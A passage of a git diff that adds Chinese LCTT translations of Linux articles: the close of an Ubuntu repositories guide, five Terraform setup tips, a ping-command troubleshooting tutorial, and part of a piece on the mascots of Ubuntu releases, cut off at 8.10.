可以确保第二个命令只会在前一个命令没有任何报错的前提下运行。 + +整个流程就是这样。 + +#### 有没有豁然开朗呢,还是一脸懵逼? + +我已经解释了在 Ubuntu 中使用外部存储库背后的逻辑。希望你现在能更好地理解它,当然可能还有很多细节会让你困惑。 + +如果你还不清楚或者还有其他问题,可以联系我。如果你发现了技术上的纰漏,记得在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/adding-external-repositories-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[nophDog](https://github.com/nophDog) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/install-yarn-ubuntu/ +[2]: https://itsfoss.com/ubuntu-repositories/ +[3]: https://itsfoss.com/ppa-guide/#comments +[4]: https://itsfoss.com/package-manager/ +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/10/linux-package-manager-explanation.png?resize=800%2C450&ssl=1 +[6]: https://itsfoss.com/download-files-from-linux-terminal/ +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/apt-update-http-https.png?resize=800%2C527&ssl=1 +[8]: https://itsfoss.com/solve-gpg-error-signatures-verified-ubuntu/ +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/list-apt-key-gpg-ubuntu.png?resize=800%2C547&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/sources-list-ubuntu.png?resize=800%2C313&ssl=1 +[11]: https://linuxhandbook.com/subshell/ +[12]: https://itsfoss.com/run-multiple-commands-linux/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/29/154339id0xb2exw0c8y222.jpg \ No newline at end of file diff --git a/published/202211/20210811 My top 5 tips for setting up Terraform.md b/published/202211/20210811 My top 5 tips for setting up Terraform.md new file mode 100644 index 0000000000..0b109a9db6 --- /dev/null +++ b/published/202211/20210811 My top 5 tips for setting up Terraform.md @@ -0,0 +1,77 @@ +[#]: subject: "My top 5 tips for setting up Terraform" +[#]: via: "https://opensource.com/article/21/8/terraform-tips" +[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" +[#]: collector: "lujun9972" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15206-1.html" + +关于配置 Terraform 的五条建议 +====== + +> 本文介绍我使用 Terraform 五年之后吸取到的经验。 + +![](https://img.linux.net.cn/data/attachment/album/202211/02/220728ngg0kzjg0rldu0l7.jpg) + +使用 Terraform 五年的经历让我吸取到一些重要经验。无论团队大小、项目性质,有五条要点对于配置合乎逻辑且可用的 Terraform 平台至关重要。 + +### 1、了解你的目标受众 + +这一点似乎显而易见,但我也见过一些在这方面犯错的案例。当组织和规划 Terraform 的相关代码时,无论是将目录结构标准化还是确定命名规范,考虑目标受众是非常重要的。例如:你的团队是否会使用这些 Terraform 脚本和模块?你是否会向其他团队交接工作?你的团队是否会有新成员加入?你是否正在独自进行项目开发?你是否会半年或一年后仍然使用这些配置,还是会将它安排给别人? + +这类问题会影响某些决策。理想情况下,无论如何都应该有 [远程状态][2]Remote State[状态锁定][3]State Locking 两种状态。远程状态确保你的笔记本电脑不是你的 Terraform 唯一运行的机器,状态锁定确保同一时刻只有一个人对基础设施进行修改操作。 + +命名规范应该对项目的最终拥有者有意义,而不是只对开发团队有意义。如果项目会转交给其他团队,应该确保他们对命名规范有发言权。如果代码由非技术的利益相关者或内部安全/ GCR 团队负责审查,应该确保他们会检查命名规范。另外,对于资源名称,为了让代码审查人员更仔细地进行检查,你应该使用资源标签,把有关的数据分类/隐私需求(高、中、低)标示出来。 + +### 2、重用,重用,重用 + +[Terraform 注册表][4] 为大多数普通用例提供了现成模块类库。我已经使用过 VPC 模块和安全模块中的大量功能,这些功能只需要提供相关的参数就能使用。使用不同的参数,简单调用这些模块对于处理大部分用例已经足够了。尽可能多地重用这些公共模块,可以避免大量且重复的编码、测试、检查、修复、重构等操作。 + +我也发现,基于使用或变更的频率划分模块和资源大有好处。例如,只使用一次的基础设施手脚架,例如 VPC 相关设置、安全模块、路由表、VPC 端点等,可以放在一起。但是像私有托管域条目、自动伸缩模块、目标模块、负载均衡器等,每次部署时都会变化,所以把这些与一次性的基础设施手脚架分离开来,会令代码检查更方便,调试更快速。 + +### 3、要明确,而非隐含 + +Terraform 代码中有一些常见的模式,它会导致设计中出现错误的假设。团队可以假设用来写代码的 Terraform 版本永远保持不变,外部模块不会变化,或它们使用的提供者不会变更。当这些外部依赖不可避免地发生变化时,就会导致一些难以发现的问题。 + +无论何处(包括主要的 Terraform 组、提供者组、功能模块组)都要确保定义是明确的。事先定义版本,可以确保依赖库是固定的,因此你可以在讨论、审查、测试后,明明白白地更新依赖关系。 + +### 4、自动化每一处,包括笔记本电脑、共享虚拟机、CI/CD。 + +在部署的各个阶段使用自动化方法,可以避免可能发生的问题。 + +在你提交代码前,使用 [Git 预提交钩子][5] 运行 `terraform fmt` 和 `terraform validate`。预提交钩子的作用是确保你的代码满足最低程度的格式和语法正确。把这个预提交文件检入到仓库,对你的团队成员都有好处。项目的第一步就进行质量控制相关的操作,它虽然表面上是小事一桩,但也很重要,能为项目节省大量时间。 + +一切现代化部署工具都有 CI 流程。当你向原始仓库推送代码时,可以使用它来运行 SAST 和单元测试工具。我写过一篇 [博客][6],是关于使用 Checkov 测试 Terraform 代码的安全性和合规性,并为组织特定的惯例创建自定义检查。把这些单元测试工具加入到你的 CI 管道,可以改进代码质量和健壮性。 + +### 5、写个好的 README.md 文件 + +我们都认为 Terraform 代码是自文档化的。的确如此,但是只有当未来的团队已经了解你的公司的命名规范、开发指南、机密通信、圈内笑话,以及你的仓库内除有效的 Terraform 代码之外其他所有东西,才会如此。维护 `README.md` 文件是个好习惯,它能节省大量时间,而且团队成员要为自己向 README 文件提交的任何内容负责,这样也就确保团队成员的忠诚度。 + +你的 README 文件至少应该包含在你的工作环境下(Linux、 Windows、Mac 等等)初始化 Terraform 环境的步骤,包括 Terraform 的版本信息。它应当确定需要的依赖库(Checkov、 TerraGrunt 及其他依赖)和其版本,以及团队使用的方便的 Linux 别名(例如有人喜欢将 `terraform fmt` 简写为 `tff`)。最重要的是,需要确定分支和 PR 审核策略和流程、命名规范和资源标签的相关标准。 + +README 文件需要通过这样的检验:如果团队有新成员加入,能否告诉他们做什么以及如何正确地完成工作?如果不能,在后续的几个月内,你将面对的是无休止的标准和流程讨论会议。 + +### 结束语 + +这些就是我使用 Terraform 多年后,认为需要传授给大家的五条有用的建议。也欢迎你分享自己的最佳实践。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/terraform-tips + +作者:[Ayush Sharma][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ayushsharma +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[2]: https://www.terraform.io/docs/language/state/index.html +[3]: https://www.terraform.io/docs/language/state/locking.html +[4]: https://registry.terraform.io/ +[5]: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 +[6]: https://notes.ayushsharma.in/2021/07/cloud-infrastructure-sast-terraform-checkov diff --git a/published/202211/20211020 Diagnose connectivity issues with the Linux ping command.md b/published/202211/20211020 Diagnose connectivity issues with the Linux ping command.md new file mode 100644 index 0000000000..dbeff9ef51 --- /dev/null +++ b/published/202211/20211020 Diagnose connectivity issues with the Linux ping command.md @@ -0,0 +1,154 @@ +[#]: subject: "Diagnose connectivity issues with the Linux ping command" +[#]: via: "https://opensource.com/article/21/10/linux-ping-command" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15271-1.html" + +使用 Linux 的 ping 命令诊断网络连接问题 +====== + +> 在本文中,我们将讨论网络连接最基本的诊断工具之一:`ping` 命令。 + +![][0] + +如今,联网计算机变得十分普遍,以至于我们大多数人都理所当然地认为,房间一侧的计算机可以连接上房间另一侧的计算机,更不用说能连接上世界的另一端的计算机了。如此,网络使互联网、云、文件共享、媒体流、远程管理、打印等服务成为可能。但是当网络出现问题时,有时很难诊断到底是其中哪一环节出现了问题。下面,我们就来介绍:网络连接最基本的诊断工具之一—— `ping` 命令。 + +### 基本的 ping 命令 + +当你无法访问本地网络上的计算机或互联网上的服务器时,你可以 `ping` 它的 IP 地址。`ping` 将 互联网控制报文协议 Internet Control Message Protocol (ICMP)数据包发送到目标 IP 地址。当我们要对网路连接状况进行判断时,ICMP 是个非常有用的协议,本质上 ICMP 是一个响应和应答信号。 + +让我们由近及远地进行故障排除。请先 `ping` 你自己的计算机,以确保你的计算机正在运行 网络栈 networking stack 。你正在操作的计算机称为 主机 localhost ,本地回环地址是:`127.0.0.1`。 + +`ping` 命令能用主机的 主机名 hostname 、IP 地址(即 `127.0.0.1`)或者仅仅用简写 `0` 来表示 “主机”。 + +你可以使用 `-c` 选项,来控制发送数据包的 次数 count 。 + +``` +$ ping 0 -c 1 +PING 0 (127.0.0.1) 56(84) bytes of data. +64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.069 ms + +--- 0 ping statistics --- +1 packets transmitted, 1 received, 0% packet loss, time 0ms +rtt min/avg/max/mdev = 0.069/0.069/0.069/0.000 ms +``` + +在你确认本地网络栈已启动并运行后,接下来,你可以 `ping` 你的路由器的 IP 地址。路由器的 IP 地址通常以 `192.168` 或 `10` 开头。实际的 IP 地址取决于路由器的配置。 + +当你没有指定要发送多少次请求时,你可以用 `Ctrl+C`,来终止 `ping` 的运行。 + +``` +$ ping 192.168.0.1  +PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. +From 192.168.0.100: icmp_seq=2 Redirect Host(New nexthop: 192.168.0.1) +From 192.168.0.100: icmp_seq=3 Redirect Host(New nexthop: 192.168.0.1) +From 192.168.0.100: icmp_seq=4 Redirect Host(New nexthop: 192.168.0.1) +From 192.168.0.100: icmp_seq=5 Redirect Host(New nexthop: 192.168.0.1) +^C +``` + +如果你能 `ping` 通路由器,则表示你的有线或无线连接能正常工作。 + +对于你的局域网上的其他主机呢?你可以 `ping` 各种设备,但是并非所有设备都能保证响应,因为一些设备会丢弃 ICMP 数据包,但许多设备会做出响应。例如,我可以 `ping` 我的打印机: + +``` +$ ping 192.168.0.4  +``` + +### ping 路由器以外的其他服务器 + +在确定你自己的网络内部都能连通以后,你还可以 `ping` 通到路由器以外的其他服务器。同样地,并非所有服务器都能接收 ICMP 数据包,更不用说响应 ICMP 数据包了。然而,也有一些服务器可以接收并响应 ICMP 数据包,而在互联网中的一个重要服务器是 域名服务器 nameserver 。 + +谷歌的 域名解析服务器 DNS server 的 IP 地址很容易记住,而且它会响应 `ping` 请求: + +``` +$ ping -c 2 8.8.8.8 +PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. +64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=53.3 ms +64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=53.5 ms + +--- 8.8.8.8 ping statistics --- +2 packets transmitted, 2 received, 0% packet loss, time 1000ms +rtt min/avg/max/mdev = 53.304/53.424/53.544/0.120 ms +``` + +当你连不上一个网站时,你可以查询全球 DNS 网络,以找出其主机服务器的地址,然后 `ping` 该服务器。这至少可以告诉你,网站不通的原因是主机已关闭,或者只是 Web 服务器问题。 + +例如,假设你尝试访问 `example.com`,但是发现失败了。首先,使用 `host` 命令找到 `example.com` 的 IP 地址: + +``` +$ host example.com +example.com has address 93.184.216.34 +example.com has IPv6 address 2606:2800:220:1:248:1893:25c8:1946 +example.com mail is handled by 0 +``` + +然后,`ping` 该网站的的 IP 地址: + +``` +$ ping 93.184.216.34 -c 1 +``` + +### 使用 IPv6 + +`ping` 不仅可以使用 IPv4,还能使用 IPv6。可以通过指定 `-4` 或 `-6` 选项,来只使用 IPv4 或 IPv6。 + +### 设置数据包大小 + +你可以使用 `-s` 选项,来更改要发送的 ICMP 数据包的 大小 size 。默认的数据大小为 56 字节,加上 8 字节包头,总共得到 64 字节的 ICMP 数据包。以下的示例将发送的 ICMP 数据包大小修改为 35+8=43 个字节: + +``` +$ ping -s 35 -c 5 8.8.8.8 +``` + +你可以使用 `-D` 选项,使得在终端中的每个 `ping` 回复之前,先打印出当前的时间戳。该时间戳为 UNIX 时间戳,加上微秒: + +``` +$ ping -D 8.8.8.8  +PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. +[1634013430.297468] 64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=53.3 ms +[1634013431.298738] 64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=53.1 ms +``` + +### 设置时间间隔/长短 + +你可以使用 `-i` 选项,来更改两次 `ping` 请求之间的 时间间隔 interval 。以下的示例将 `ping` 间隔更改为 2 秒: + +``` +$ ping -i 2  +``` + +你也可以使用 `-w` 选项,来在一段时间后终止 `ping`,单位为秒。 + +``` +$ ping -w 6 +``` + +### ping 的变体 + +`ping` 有很多变体。例如,`iputils` 包提供了 `ping` 命令;[Busybox][2] 也有`ping` 命令;BSD 也有;甚至还有一个图形界面的 `ping`:`gping`,它可用于 Linux、macOS 和 Windows。你可以在 [GitHub][3] 上找到更多有关 `gping` 的信息。 + +### 一起来学习吧 + +`ping` 命令很简单,但它可以帮你诊断网络连接问题。下次再遇到网络连接问题时,让 `ping` 命令成为你解决问题的第一个工具吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/linux-ping-command + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/world_remote_teams.png?itok=Wk1yBFv6 (World locations with red dots with a sun burst background) +[2]: https://opensource.com/article/21/8/what-busybox +[3]: https://github.com/orf/gping +[0]: https://img.linux.net.cn/data/attachment/album/202211/20/094045mhhkqhepke4qebks.jpg \ No newline at end of file diff --git a/published/202211/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md b/published/202211/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md new file mode 100644 index 0000000000..de6287f76d --- /dev/null +++ b/published/202211/20220519 For the Love of Ubuntu- Here are the Mascots of All Ubuntu Releases.md @@ -0,0 +1,486 @@ +[#]: subject: "For the Love of Ubuntu: Here are the Mascots of All Ubuntu Releases" +[#]: via: "https://itsfoss.com/all-Ubuntu-mascots/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15240-1.html" + +Ubuntu 所有版本的吉祥物 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/11/130502q6500yvm0znvktz9.jpg) + +> 在这篇文章中,我们会介绍迄今为止所有 Ubuntu 发行版本的吉祥物。 + +你可能已经注意到了:每个 Ubuntu 版本都会有一个版本名称和代号。代号由两个单词组成,这两个单词有相同的首字母,第一个单词是形容词,另一个单词通常是一个濒危的物种名称。 + +对应于其代号,这些 Ubuntu 版本也有一个吉祥物。例如,Ubuntu 22.04 的代号为 “Jammy Jellyfish”,因此 Ubuntu 22.04 的桌面壁纸上有 **吉祥物:水母** 的图像。 + +但是实际上,这些“吉祥物”并不总是 Ubuntu 版本的一部分,因为吉祥物在早期的 Ubuntu 版本中是没有的。 + +有史以来第一个 Ubuntu 版本是在 2004 年 10 月发布的 4.10 版(LCTT 译注:Ubuntu 的版本号是由年份和月份的组合来表示的。)但是,直到 Ubuntu 8.04 LTS “Hardy Heron” 版本,你才会看到相关的吉祥物。 + +在我之前写的 [另一篇文章][1] 中,我整理了所有 Ubuntu 版本的默认壁纸。在本文中,你将了解到所有 Ubuntu 版本的吉祥物。 + +现在,就让我们按时间倒序,一起进入 Ubuntu 的吉祥物之旅吧。 + +(LCTT 校注:本文原文发表时,Ubuntu 22.10 尚未发布,它的代号是 “Kinetic Kudu”,吉祥物是“捻角羚”。) + +(LCTT 校注:由于 Ubuntu 系列的代号和吉祥物选择的都是比较少见的动物和晦涩的描述,因此尽管译者和校对虽然尽力了,但是应该还有谬误。我觉得原文作者为了找出这些说明也尽力,恐怕真正权威的诠释只有 Canonical 才能给出吧。) + +### Ubuntu 22.04 Jammy Jellyfish(幸运水母) + +![Ubuntu 22.04 mascot][2] + +于 2021 年 4 月 21 日发布。 + +Jammy 的意思是被果酱覆盖着的、充满果酱的。不太正式地,Jammy 还有**幸运**的意思。 + +水母 Jellyfish 是一种自由游动的水生动物,它的身体就像是一把透明伞,还具有拖曳的触须。少数水母是通过茎干固定在海床上,而不能移动。全世界的海洋中有超过两百种的水母,它们分布于全球各地的水域里。 + +### Ubuntu 21.10 Impish Indri(顽皮大狐猴) + +![Ubuntu 21.10 mascot][3] + +于 2021 年 10 月 14 日发布。 + +Impish 的意思是以**顽皮**而不是严肃的方式,对某人/某事不太尊重。 + +大狐猴 Indri ,也称为 babakoto,是现存的最大的狐猴之一。它的头身长约 64 至 72 厘米,体重在 6 至 9.5 公斤之间。它的毛发是黑白相间的。在攀爬或攀爬时,它会保持竖直的姿势。 + +> 据维基:2014 年的世界自然保护联盟(IUCN) 红色名录 Red List 中,仅出现在马达加斯加的大狐猴首次被提升至极危级别。 + +### Ubuntu 21.04 Hirsute Hippo(多毛河马) + +![Ubuntu 21.04 mascot][4] + +于 2021 年 4 月 22 日发布。 + +Hirsute 的意思是**多毛的**。 + +河马 Hippo ,是一种生活在非洲大陆撒哈拉以南的大型半水生哺乳动物。河马是河马科中仅有的两个现存物种之一,另一个物种是 侏儒河马 pygmy hippopotamus 。河马的名字来源于古希腊语“river horse”。 + +> 据维基:在 2006 年 5 月已被 IUCN 红色名录中分为易危物种,世界仅存约 12.5 万-15 万头 + +但是其实,我并没有见过很多多毛的河马 😅。 + +### Ubuntu 20.10 Groovy Gorilla(时髦大猩猩) + +![Ubuntu 20.10 mascot][5] + +于 2020 年 10 月 22 日发布。 + +Groovy 的意思是**时尚的**和令人兴奋的。 + +大猩猩 Gorilla ,是一种草​​食性的地栖巨猿。它主要栖息在赤道非洲的热带森林中。大猩猩属分为两个物种:东部大猩猩和西部大猩猩,以及进一步可分为四个或五个亚种。 + +### Ubuntu 20.04 LTS Focal Fossa(瞩目狸猫) + +![Ubuntu 20.04 mascot][6] + +于 2020 年 4 月 23 日发布。 + +Focal 的意思是令人注目的、**瞩目**。 + +马岛长尾狸猫 Fossa ,是**马达加斯加岛上最大的食肉性哺乳动物**。它身体的长度可以达到近六英尺,其中它们的长尾巴占了一半。它们看起来就像是猫、狗和獴的杂交体。它们有细长的身体、肌肉发达的四肢和短的红棕色毛发。 + +### Ubuntu 19.10 Eoan Ermine(东方白鼬) + +![Ubuntu 19.10 mascot][7] + +于 2019 年 10 月 17 日发布。 + +Eoan 的意思是**与黎明或东方有关的**。 + +白鼬 Stoat ,也被称为欧亚貂、白令貂,简称 Ermine ,是一种原产于欧亚大陆和北美北部的鼬科动物。由于鼬在极地广泛分布,因此它被 IUCN 列为最不担忧灭绝的物种。 + +> 据维基:IUCN 将其列为世界百大外来入侵种。 + +### Ubuntu 19.04 Disco Dingo(迪斯科野犬) + +![Ubuntu 19.04 mascot][8] + +于 2019 年 4 月 18 日发布。 + +Disco 与**迪斯科**音乐和夜总会有关。 + +澳洲野犬 Dingo ,是在澳大利亚发现的一种古老的犬种。澳洲野犬的科属分类在不同出版物中不太一样,因此它的科属分类存在争议。 + +### Ubuntu 18.10 Cosmic Cuttlefish(外星墨鱼) + +![Ubuntu 18.10 mascot][9] + +于 2018 年 10 月 18 日发布。 + +Cosmic 意味着与地球**不同的**、宇宙的。 + +墨鱼 Cuttlefish ,是乌贼目的一种海洋软体动物。它属于头足类,这一类还包含了鱿鱼、章鱼和鹦鹉螺。墨鱼有一个独特的内壳,即墨鱼骨,它可以用于控制浮力。 + +### Ubuntu 18.04 LTS Bionic Beaver(仿生河狸) + +![Ubuntu 18.04 mascot][10] + +于 2018 年 4 月 26 日发布。 + +Bionic 意味着**仿生的**,或者是机电的。 + +河狸 Beaver ,是北半球温带的一种大型半水生啮齿动物。有两种现存的海狸:北美河狸和欧亚河狸。河狸是仅次于水豚的现存第二大啮齿动物。 + +> 据维基:它们处于 IUCN 哺乳动物红色名录中的无危物种,在中国河狸被列为一级保护动物。 + +英国用户认为这个版本的名称特别有趣。 + +### Ubuntu 17.10 Artful Aardvark(机灵土豚) + +![Ubuntu 17.10 mascot][11] + +于 2017 年 10 月 19 日发布。 + +Ubuntu 在此版本中默认切换回了 GNOME。 + +Artful 的意思是聪明的或**机灵的**。 + +土豚 Aardvark ,是一种原产于非洲的穴居、夜间活动的中型哺乳动物。它是管齿目中唯一的现存物种。与大多数其他食虫动物不同,它有一个长长的像猪一样的鼻子,可以闻出食物在哪里。 + +### Ubuntu 17.04 Zesty Zapus(开心跳鼠) + +![Ubuntu 17.04 mascot][12] + +于 2017 年 4 月 13 日发布。 + +这个版本是最后一个以 Unity 桌面为特色的版本。 + +Zesty 意味着有一种强烈的、**令人开心的**、有点辛辣的味道。 + +跳鼠Zapus 是北美跳鼠中唯一一个有牙齿的一个属。跳鼠是除 指猴 Aye-aye 之外,唯一现存的有 18 颗牙齿的哺乳动物。 + +### Ubuntu 16.10 Yakkety Yak(唠叨牦牛) + +![Ubuntu 16.10 mascot][13] + +于 2016 年 10 月 13 日发布。 + +Yakkety 有很多意思。OMG Ubuntu 说,“yakking” 有唠唠叨叨这一非正式意思,yakkety 还可能是一种知名的流行爵士乐器 “Yakety Sax” 的另一种拼写。 + +牦牛 Yak ,是一种大型驯养的野牛。它的毛发蓬松,肩部隆起,有很大的角。在一些地方它是一种驮畜,人们也可以食用它的奶和肉、以及加工它的皮制作东西。 + +### Ubuntu 16.04 LTS Xenial Xerus(好客地松鼠) + +![Ubuntu 16.04 mascot][14] + +于 2016 年 4 月 21 日发布。 + +Xenial 的意思是**热情好客的**。 + +非洲地松鼠 Xerus ,有四个亚种,分别是**开普地松鼠,条纹地松鼠,山地松鼠和无条纹地松鼠**。这些动物是昼行性的,是食草动物,通常吃坚果、根和种子。然而,有时它们也会吃蛋类和其他小动物。 + +### Ubuntu 15.10 Wily Werewolf(狡猾狼人) + +![Ubuntu 15.10 mascot][15] + +于 2015 年 10 月 22 日发布。 + +这个版本可能是少有的发布代号中带有虚构动物的 Ubuntu 版本之一。 + +Wily 的意思是善于获得优势,尤其在欺骗上十分**狡猾的**。 + +狼人 Werewolf ,是可以隐藏住耳朵和尾巴的一种神话生物。它是人,也是狼,大多数人因为它们的长相而害怕它们。 + +### Ubuntu 15.04 Vivid Vervet(活泼绿猴) + +![Ubuntu 15.04 mascot][16] + +于 2015 年 4 月 23 日发布。 + +Vivid 的意思是**活泼**的、明亮的。 + +黑长尾猴 Vervet monkey ,是一种原产于非洲的角猿科的旧大陆猴。“vervet”一词也用于表示绿猴属 Chlorocebus 的所有动物,其中包含五个不同的亚种,这五个不同的亚种主要分布在南部非洲以及一些东部国家。 + +### Ubuntu 14.10 Utopic Unicorn(乌托邦独角兽) + +![Ubuntu 14.10 mascot][17] + +于 2014 年 10 月 23 日发布。 + +这个版本是另一个其发布代号中带有虚构动物的 Ubuntu 版本。 + +Utopic 与**乌托邦**有关,乌托邦是一个虚构的、不存在但是一个理想的地方。 + +独角兽 Unicorn ,是一种传说中的生物。自古以来,它就被描述为前额有一个巨大的、尖的、螺旋状的角的一种野兽。 + +### Ubuntu 14.04 LTS Trusty Tahr(可靠塔尔羊) + +![Ubuntu 14.04 mascot][18] + +于 2014 年 4 月 17 日发布。 + +Trusty 意味着**可靠的**或忠实的。 + +塔尔羊 Tahr ,是一种很像山羊的哺乳动物。它们会栖息在阿曼、印度南部和喜马拉雅山脉的悬崖和山坡上。 + +### Ubuntu 13.10 Saucy Salamander(活泼蝾螈) + +![Ubuntu 13.10 mascot][19] + +于 2013 年 10 月 17 日发布。 + +Saucy 意味着大胆的、**活泼的**或精神饱满的。 + +蝾螈 Salamander 是一类两栖动物。其典型特征是有着蜥蜴般的外观,它们有细长的身体,钝的鼻子,以及与身体成直角突出的短肢,并且幼体和成体都有尾巴。现存的所有十个蝾螈科都属于有尾目。 + +### Ubuntu 13.04 Raring Ringtail(热情猫熊) + +![Ubuntu 13.04 mascot][20] + +于 2013 年 4 月 25 日发布。 + +Raring 的意思是热情的和**非常渴望做某事**。 + +猫熊 Ringtail ,是**一种像猫一样大的食肉动物,类似于一只长着浣熊尾巴的小狐狸**。它浓密的尾巴是扁平的,几乎和头部和身体一样长,有黑白交替的环。它们是夜行动物,一天中的大部分时间都在它们的巢穴里睡觉。 + +### Ubuntu 12.10 Quantal Quetzal(量子大咬鹃) + +![Ubuntu 12.10 mascot][21] + +于 2012 年 10 月 18 日发布。 + +Quantal 意味着与**量子**或量子理论有关的。 + +大咬鹃 Quetzal ,是咬鹃家族中的一种色彩鲜艳的鸟类。它们生活在森林中,主要是在潮湿的高地。来自*凤尾绿咬鹃属*的五种物种生活在新热带的,而另外一个物种,即角咬鹃,生活在墨西哥和美国最南端的局部地区。大咬鹃相当地大,它们的身体长度超过 32 厘米或者有 13 英寸长,比其他咬鹃科的物种都大。绚丽的大咬鹃因其鲜艳的色彩,而成为危地马拉的国鸟。 + +### Ubuntu 12.04 LTS Precise Pangolin(精准穿山甲) + +![Ubuntu 12.04 mascot][22] + +于 2012 年 4 月 26 日发布。 + +Precise 意味着能**精确**或准确地表达细节。 + +穿山甲 Pangolin ,有时被称为有鳞食蚁兽,是鳞甲目的一种哺乳动物。它现存的一个科是穿山甲科,有三个属:穿山甲亚属、长尾穿山甲亚属和地穿山甲亚属。穿山甲亚属包括在亚洲发现的四种物种,而长尾穿山甲亚属和地穿山甲亚属各包括两种物种,均在撒哈拉以南非洲发现。 + +> 据维基百科:2014 年,IUCN 红色名录物种存续委员会穿山甲专门小组,指出穿山甲是目前全世界最常被走私买卖的哺乳动物。所有穿山甲都面临巨大的生存威胁,其中中华穿山甲和马来穿山甲被 IUCN 评估为“极危”物种,非法走私的活动极为猖獗。随着亚洲的 4 种穿山甲数量锐减,走私贸易商家已转移目标至非洲,以满足市场上的庞大需求。 + +### Ubuntu 11.10 Oneiric Ocelot(梦幻豹猫) + +![Ubuntu 11.10 mascot][23] + +于 2011 年 10 月 13 日发布。 + +Oneiric 的意思是与**梦**有关的。 + +豹猫 Ocelot ,是一种中等大小的斑点野猫。它的肩长可达 40 至 50 厘米,体重在 8 至 15.5 公斤之间。卡尔·林奈Carl Linnaeus 于 1758 年首次在书中描述了它。 + +> 据维基:华盛顿公约将孟加拉国、印度以及泰国的豹猫族群列入附录一禁止进行国际贸易,而其他族群亦列入华盛顿公约附录二。 + +### Ubuntu 11.04 Natty Narwhal(聪明独角鲸) + +![Ubuntu 11.04 mascot][24] + +于 2011 年 4 月 28 日发布。 + +这个版本是第一个采用 Unity 桌面的版本。 + +Natty 意味着**聪明**和时尚的。 + +独角鲸 Narwhal ,是一种中等大小的齿鲸。拥有一颗突出的犬齿的大“獠牙”。它常年生活在格陵兰、加拿大和俄罗斯周围的北极水域。它是一角鲸科中现存的两种鲸鱼物种之一,另一个物种是 白鲸 Beluga whale 。 + +### Ubuntu 10.10 Maverick Meerkat(独行猫鼬) + +![Ubuntu 10.10 mascot][25] + +于 2010 年 10 月 10 日发布。 + +Maverick 的意思是**特立独行的**或有独立思想的。 + +猫鼬 Meerkat ,是一种在南部非洲发现的小型猫鼬。它的特点是头宽、眼睛大、鼻子尖、腿长、尾巴很细,毛色有斑纹。 + +### Ubuntu 10.04 LTS Lucid Lynx(清醒猞狸) + +![Ubuntu 10.04 mascot][26] + +于 2010 年 4 月 29 日发布。 + +Lucid 意味着**易于理解的**或明亮的。 + +猞猁 Lynx ,是中型野猫属猞猁中的一种。猞猁这个名字起源于中古英语,源自希腊语 λύγξ,λύγξ 又源自于印欧语词根 leuk-,指的是它眼睛能反射发光的样子。 + +### Ubuntu 9.10 Karmic Koala(幸运考拉) + +![Ubuntu 9.10 mascot][27] + +于 2009 年 10 月 29 日发布。 + +Karmic 意味着与**命运**、业力有关。 + +考拉 Koala ,是一种原产于澳大利亚的树栖草食性的有袋动物。它是袋鼠科唯一现存的物种,它的近亲是袋熊 Wombat 。 + +> 据维基:在 19 世纪初树袋熊遭到捕杀出口,数量由百万只锐减至一千多只,于是澳大利亚政府立法保护。 + +### Ubuntu 9.04 Jaunty Jackalope(自信鹿角兔) + +![Ubuntu 9.04 mascot][28] + +于 2009 年 4 月 23 日发布。 + +这个版本是我用的第一个 Ubuntu 版本。 + +Jaunty 是指拥有活泼、开朗和**自信**的态度。 + +鹿角兔 Jackalope ,是**北美民间传说中的一种神话动物**,被描述为长着羚羊角的可怕的长角兔。Jackalope 这个词是由 jackrabbit 和 antelope 组合而成的。许多鹿角兔的标本都是由用鹿角制成的。 + +### Ubuntu 8.10 Intrepid Ibex(无畏野山羊) + +![Ubuntu 